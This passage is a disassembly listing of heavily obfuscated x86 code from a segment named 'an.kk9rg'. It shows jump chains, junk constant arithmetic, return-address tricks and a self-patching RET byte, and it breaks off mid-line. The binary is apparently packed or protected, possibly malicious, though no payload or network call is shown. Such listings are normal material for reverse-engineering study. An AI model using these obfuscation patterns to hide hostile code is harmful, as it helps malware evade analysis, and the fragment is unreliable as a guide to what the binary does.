[00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10016802 proc near ; CODE XREF: an.kk9rg:100149CAp ; an.kk9rg:10014AC7p push offset sub_100195F3 jmp nullsub_219 sub_10016802 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001680C: ; CODE XREF: sub_10017CF8+32E6j jnb loc_100164EE push 3951DC52h loc_10016817: ; CODE XREF: sub_10017CF8:loc_10013A97j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017554 jmp loc_1001CFA1 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- push 43987150h pop edx and edx, 5C52870Bh or edx, 0DE6F5Eh jmp loc_10016F8E ; --------------------------------------------------------------------------- loc_1001683F: ; CODE XREF: an.kk9rg:loc_1001C47Fj xchg ebp, [esp] push offset sub_100150BD jmp locret_1001687C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001684C: ; CODE XREF: sub_10019595-2E71j ror edi, 0Bh jmp loc_10016FFC ; END OF FUNCTION CHUNK FOR sub_10019595 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10016855: ; CODE XREF: sub_10015DB9-26Cj jmp loc_1001D702 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; =============== S U B R O U T I N E ======================================= sub_1001685A proc near ; DATA XREF: sub_10016167:loc_1001C260o xor edx, 0B4DC4811h call sub_1001534D push offset sub_10018F13 jmp nullsub_92 sub_1001685A endp ; --------------------------------------------------------------------------- loc_1001686F: ; CODE XREF: an.kk9rg:1001C124j mov esi, ecx test ebx, 3283071h jmp loc_10019F4D ; --------------------------------------------------------------------------- locret_1001687C: ; CODE XREF: an.kk9rg:10016847j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001687D: ; CODE XREF: sub_10019409:loc_1001C0B1j xor edx, ds:100000C0h add edx, 92283B4Eh or edx, 0E9E36F2Eh sub edx, 327D1CE0h xor edx, 4C8059D7h call sub_1001A70A loc_100168A0: ; DATA XREF: sub_1001564A+24B4o mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_1001B6F5 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_1001B6F5 mov edx, [ebx+ecx] jmp loc_100198D4 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100168C0: ; CODE XREF: sub_1001A97E+B94j mov eax, [ecx] popf loc_100168C3: ; CODE XREF: sub_1001A97E:loc_10017FD5j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D689 jmp loc_100149B5 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- call nullsub_5 jmp ds:dword_10002014 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- call sub_1001DD1D ; START OF FUNCTION CHUNK FOR sub_1001492C loc_100168E5: ; CODE XREF: sub_1001492C+5D5Ej jmp loc_10018041 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_100168EA: ; CODE XREF: sub_1001C6B0-314Cj jmp loc_100143EA ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- loc_100168EF: ; CODE XREF: an.kk9rg:10015C4Dj jp sub_1001C77E test ebx, edi jmp loc_100164C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100168FC: ; CODE XREF: sub_1001BB72-4716j sub eax, 98CB2818h and eax, 0FCA9C3FAh sub eax, 2AB693ACh or eax, 349B3038h add eax, 1ACB78D1h jmp loc_1001CE25 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; =============== S U B R O U T I N E ======================================= sub_1001691F proc near ; CODE XREF: sub_100179FF:loc_100145DEp ; an.kk9rg:1001A22Ej ; FUNCTION CHUNK AT 10016D42 SIZE 00000008 BYTES xchg esi, [esp+0] pop esi sub al, 99h push 0ED512089h pop edx rol edx, 1Fh sub edx, 7D3AA3E2h xor edx, 21B970Ah jmp loc_10016D42 sub_1001691F endp ; sp-analysis failed ; --------------------------------------------------------------------------- jle loc_1001C708 jmp sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001694A: ; CODE XREF: sub_10016451:loc_1001893Aj or esi, 59C6978h ror ebx, 10h jmp loc_100186A2 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10016958: ; CODE XREF: sub_10016A1B:loc_1001D9CCj jnz loc_100175B4 loc_1001695E: ; CODE XREF: sub_1001D3C3-68F0j jmp loc_100169C7 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- xor esi, 2DB424EFh mov [ebp+0], edi and eax, 9D8E79DDh add ebp, eax jmp loc_1001AB87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016979: ; CODE XREF: sub_1001893F:loc_10013614j jz loc_10016E52 jmp loc_100156A4 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_10016984: ; CODE XREF: sub_1001A2CC:loc_1001360Fj jz loc_100132DD jmp loc_10017DFE ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001698F: ; CODE XREF: sub_100136D7:loc_100198A0j jz loc_1001372F jmp loc_10014CFE ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001699B: ; CODE XREF: sub_10015086+6607j jge loc_10017D3C loc_100169A1: ; CODE XREF: sub_100189D7:loc_10014483j ; sub_10013389+1250j ... jmp loc_10017C91 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_100169A6: ; CODE XREF: sub_100189D7-1794j ; an.kk9rg:1001864Bj xchg eax, [esp] mov ecx, eax jmp loc_1001C7F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100169B0: ; CODE XREF: sub_10015131:loc_100158BCj jz loc_10019E76 jmp loc_100151D0 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_100169BB: ; CODE XREF: sub_1001C535:loc_1001903Cj xor ebp, edi xchg edx, ebp shr ebx, 10h jmp loc_100165A1 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_100169C7: ; CODE XREF: sub_10016A1B:loc_1001695Ej jz loc_10017C15 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_100169CD: ; CODE XREF: sub_1001A54C-46F4j jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- pushf jl loc_1001537F xor ebp, 211F85DEh jmp loc_10017C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_100169E4: ; CODE XREF: sub_1001CF40:loc_10013662j sbb ebp, 5416B3E2h jmp loc_10019210 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- pop ebp jmp sub_1001A51D ; --------------------------------------------------------------------------- loc_100169F5: ; DATA XREF: sub_10016167:loc_10015F16o jmp loc_10018CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_100169FA: ; CODE XREF: sub_10016167+3C0j ; sub_10018AB1-24F9j call sub_10019B0D loc_100169FF: ; CODE XREF: sub_10013BB8+8C31j jmp loc_1001C9E4 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016A04: ; CODE XREF: sub_10016D66-1765j xor esi, 4488B272h jmp loc_1001A03F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_10016A0F: ; CODE XREF: sub_10015E3A+8j sub al, 99h call sub_100137D6 loc_10016A16: ; CODE XREF: an.kk9rg:1001A29Dj jmp loc_10014B60 ; END OF FUNCTION CHUNK FOR sub_10015E3A ; =============== S U B R O U T I N E ======================================= sub_10016A1B proc near ; CODE XREF: sub_1001679F:loc_10015840p ; an.kk9rg:1001C1D3j ; FUNCTION CHUNK AT 100139BC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016958 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100169C7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10017C15 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017E8A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A1BB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A725 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001AA4D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001ACC2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001D9CC SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_100139BC mov eax, [ebp-4] jmp loc_1001A1BB sub_10016A1B endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10016A34: ; CODE XREF: sub_1001A12F+9j jmp loc_1001A6A8 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10016A39: ; CODE XREF: sub_10019571+1067j xchg ecx, [esp+0] pop ecx loc_10016A3D: ; CODE XREF: an.kk9rg:loc_10014EACj jnz loc_10013A7C xchg ebx, [esp-4+arg_0] jmp loc_100193AB ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10016A4B: ; CODE XREF: sub_1001985B+1150j push ecx push offset sub_1001ACA5 jmp loc_10017E18 ; END OF FUNCTION CHUNK FOR sub_1001985B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10016A57: ; CODE XREF: sub_10018E79+20B6j jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- loc_10016A5C: ; CODE XREF: an.kk9rg:10016FCBj jmp loc_1001495A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10016A61: ; CODE XREF: sub_10018066:loc_10015EE8j ; an.kk9rg:100192B1j push 381CE25Ah pop esi or esi, 0A9A803F0h test esi, 40000h jmp loc_10016B07 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- jz loc_10016CDA jmp loc_10015464 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ds:dword_10002030, eax lea eax, nullsub_178 mov byte ptr [eax], 0C3h jmp loc_100196BA ; --------------------------------------------------------------------------- xchg ebp, [esp] mov edx, ebp jmp loc_1001AD10 ; =============== S U B R O U T I N E ======================================= sub_10016AA2 proc near ; CODE XREF: an.kk9rg:100179D3p ; an.kk9rg:10019541j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] jmp sub_100181E1 sub_10016AA2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub esi, 4AC3A0FFh jmp sub_1001C67F ; --------------------------------------------------------------------------- sub esi, ebx jmp loc_100195A5 ; --------------------------------------------------------------------------- test edi, eax jmp loc_1001A271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D3C3 loc_10016AC7: ; CODE XREF: sub_1001D3C3+1Bj and edx, 42F4DEB1h test edx, 10000000h jmp loc_1001695E ; END OF FUNCTION CHUNK FOR sub_1001D3C3 ; --------------------------------------------------------------------------- add ebp, ecx jmp sub_1001CB61 ; --------------------------------------------------------------------------- locret_10016ADF: ; CODE XREF: an.kk9rg:100190B8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_10016AE0: ; CODE XREF: sub_10014C0D+4j jmp loc_10015F4F ; END OF FUNCTION CHUNK FOR sub_10014C0D ; --------------------------------------------------------------------------- cmp ebx, 64FE5411h jmp loc_10016C71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10016AF0: ; CODE XREF: sub_1001537B:loc_1001797Cj xor eax, 0D18C9B36h sub eax, 1579AC8Bh xor eax, 0BDD3B5D6h call sub_10017667 ; END OF FUNCTION CHUNK FOR sub_1001537B ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10016B07: ; CODE XREF: sub_10018066-15F3j jmp loc_100192B6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- push ecx mov ecx, eax xchg ecx, [esp] ror eax, 0Fh mov ds:dword_1001D744, eax jmp locret_100140B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10016B20 proc near ; CODE XREF: sub_100180C2:loc_1001A9C1j ; FUNCTION CHUNK AT 100196A4 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100196A4 sub_10016B20 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10016B29 proc near ; CODE XREF: sub_10016D66+FAAp ; sub_10014FD4:loc_1001A1E8j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10014C4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015D75 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10018392 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A77 SIZE 00000011 BYTES push eax push ebp mov ebp, edi xchg ebp, [esp+8+var_8] push 11F02D14h jmp loc_10018A77 sub_10016B29 endp ; --------------------------------------------------------------------------- loc_10016B3A: ; CODE XREF: an.kk9rg:1001303Fj jnz loc_10019A41 jmp loc_1001DA7D ; --------------------------------------------------------------------------- mov ds:dword_100181AC, eax cmp ds:dword_100181AC, 0 jnz loc_100173AF jmp loc_1001CE91 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016B5E: ; CODE XREF: sub_10019595+410Cj jl loc_10019C40 loc_10016B64: ; CODE XREF: an.kk9rg:1001A2C7j jmp loc_1001938C ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_10016B69: ; CODE XREF: sub_10016B92+13j jmp loc_1001839C ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- jo loc_10016C53 sbb esi, ebp jmp loc_10019C40 ; --------------------------------------------------------------------------- locret_10016B7B: ; CODE XREF: an.kk9rg:loc_100183CBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016B7C: ; CODE XREF: sub_10016D66+2733j jmp loc_100163EB ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10016B81 proc near ; CODE XREF: an.kk9rg:10017944j ; sub_100195E8+1p ; FUNCTION CHUNK AT 10013FD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014395 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 100172C9 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001D883 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax mov [ebp-4], eax push 6D830737h jmp loc_10014395 sub_10016B81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10016B92 proc near ; CODE XREF: an.kk9rg:100192F7j ; sub_1001B943+CA3p ; FUNCTION CHUNK AT 10016B69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001839C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10018F5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001ABA4 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx loc_10016B96: ; CODE XREF: sub_10017394:loc_100144BDj call nullsub_10 call sub_100180C2 mov edx, 0CF0182F6h jmp loc_10016B69 sub_10016B92 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016BAA: ; CODE XREF: sub_10016167-16C8j adc ecx, ebp jmp loc_10015F16 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10016BB1: ; CODE XREF: sub_100145ED+6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_10014B80 ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- locret_10016BBF: ; CODE XREF: an.kk9rg:loc_10014FF7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_10016BC0: ; CODE XREF: sub_1001D392-293j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016BC5: ; CODE XREF: sub_100136D7+994Cj jmp loc_1001A031 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10016BCA: ; CODE XREF: an.kk9rg:1001B126j xor ebp, esi cmp ebp, 35F2B125h jmp loc_100186ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_10016BD7: ; CODE XREF: sub_10017D86+523Dj and esi, 0F8023DA9h xor esi, 8B7C77E8h jmp loc_10016E52 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016BE8: ; CODE XREF: sub_1001893F+4j sub al, 99h push 1AD25048h pop edx xor edx, 0FD8F7BF0h add edx, 698E297h add edx, ebp jmp loc_1001757E ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10016C03: ; DATA XREF: sub_1001A12F-5116o jnz loc_1001D271 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016C09: ; CODE XREF: sub_1001A12F-5126j ; sub_100198E6:loc_1001578Dj ... js loc_100164F3 mov eax, [ebp+8] push offset sub_1001CF8D jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A024 loc_10016C1C: ; CODE XREF: sub_1001A024:loc_10014669j push ecx mov [ebp+var_4], eax push 0BA6B8682h pop eax and eax, 63037F91h ; END OF FUNCTION CHUNK FOR sub_1001A024 ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10016C2C: ; CODE XREF: sub_1001ABFD:loc_1001D0EDj jmp loc_10019702 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= sub_10016C31 proc near ; DATA XREF: sub_10013688+7398o ; FUNCTION CHUNK AT 10019430 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AE88 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001D134 SIZE 0000000F BYTES jnz loc_1001D134 mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h push offset sub_1001D129 jmp loc_10019430 sub_10016C31 endp ; --------------------------------------------------------------------------- loc_10016C4D: ; DATA XREF: sub_1001B5A3-2E1o xor eax, 0D119625Eh loc_10016C53: ; CODE XREF: an.kk9rg:10016B6Ej call sub_1001A6D2 ; START OF FUNCTION CHUNK FOR sub_10018C61 loc_10016C58: ; CODE XREF: sub_10018C61+9j jmp loc_10017098 ; END OF FUNCTION CHUNK FOR sub_10018C61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10016C5D: ; CODE XREF: sub_1001D461:loc_10014F74j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10019216 jmp loc_10014334 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- loc_10016C71: ; CODE XREF: an.kk9rg:10016AEBj jno loc_1001377E ; =============== S U B R O U T I N E ======================================= sub_10016C77 proc near ; CODE XREF: sub_10016167+4B9Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100131D6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001C3F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBF1 SIZE 00000019 BYTES xchg edx, [esp+0] pop edx push 8518BAB2h pop ebx xor ebx, 782C4227h or ebx, 0D30C0971h jmp loc_100131D6 sub_10016C77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10016C92 proc near ; DATA XREF: an.kk9rg:10017378o jz loc_1001A637 mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_1001A630 mov eax, [ebp-4] jmp loc_1001C6C3 sub_10016C92 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016CAC: ; CODE XREF: sub_100136D7:loc_10015261j ; sub_1001B9C1:loc_1001B9CAj mov eax, [ebp-4] loc_10016CAF: ; CODE XREF: sub_1001A97E:loc_100178F4j movzx eax, byte ptr [eax] cmp ds:dword_1001BCAC[eax*4], 0 jmp loc_10019725 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10016CBF: ; CODE XREF: sub_10015E0D:loc_10015061j jnz loc_1001A263 loc_10016CC5: ; CODE XREF: sub_10013389+A6D3j jmp loc_1001A06A ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10016CCA: ; CODE XREF: sub_1001A54C+3j jmp loc_10017ECA ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015792 loc_10016CCF: ; CODE XREF: sub_10015792+16j jmp loc_100155A6 ; END OF FUNCTION CHUNK FOR sub_10015792 ; --------------------------------------------------------------------------- jle loc_10018500 loc_10016CDA: ; CODE XREF: an.kk9rg:10016A78j jmp loc_1001A261 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10016CDF: ; CODE XREF: sub_1001B096-4060j jnz loc_1001C233 add ecx, 0C094A14h jns loc_1001B2CF xchg edi, [edx] jmp loc_1001C4A4 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- loc_10016CF8: ; CODE XREF: an.kk9rg:100138E2j jb loc_1001D396 sbb eax, 18FA5516h ; =============== S U B R O U T I N E ======================================= sub_10016D04 proc near ; CODE XREF: sub_1001D461-84E2p ; FUNCTION CHUNK AT 100135DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AAD SIZE 00000024 BYTES ; FUNCTION CHUNK AT 10015F08 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100165CE SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10016F0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018101 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10019113 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10019F0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A4C7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001A64B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B54B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C35C SIZE 00000011 BYTES xchg edi, [esp+0] pop edi imul byte ptr [edx] cmp al, 0A4h jz loc_10019216 jmp loc_10019F0E sub_10016D04 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10016D17: ; CODE XREF: an.kk9rg:1001AD84j xchg edx, [esp] jmp loc_10014532 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10016D20: ; CODE XREF: an.kk9rg:1001B88Ej jmp locret_1001797B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10016D25: ; CODE XREF: sub_10019030+1j jmp loc_100138B8 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10016D2A: ; CODE XREF: sub_10018352+14j jmp loc_10018A07 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_10016D2F: ; CODE XREF: sub_10018C76-2860j jmp loc_100191EE ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016D34: ; CODE XREF: sub_1001893F+70Aj jnz loc_100159FD xor ebx, ebp push esi jmp loc_100143B7 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001691F loc_10016D42: ; CODE XREF: sub_1001691F+1Bj add edx, ebp add edx, 84898494h ; END OF FUNCTION CHUNK FOR sub_1001691F loc_10016D4A: ; CODE XREF: an.kk9rg:100167D9j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100169A1 jmp loc_1001CF6B ; --------------------------------------------------------------------------- loc_10016D5B: ; CODE XREF: an.kk9rg:1001D588j jnz loc_100130B6 jmp loc_1001538B ; =============== S U B R O U T I N E ======================================= sub_10016D66 proc near ; CODE XREF: an.kk9rg:1001821Aj ; sub_10015C14+2C87p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013207 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001321D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10013619 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013FD9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013FE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001400A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001407A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001466E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001468E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014704 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001491B SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10014B0C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10014B24 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014F5D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10014F84 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001528F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100155FB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001624B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100163EB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016A04 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016B7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016EFA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10017294 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001774C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 10017982 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D0A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10017E6B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018299 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018480 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001868F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001876B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018DD3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019149 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001948E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100195B5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A03F SIZE 00000007 BYTES ; FUNCTION 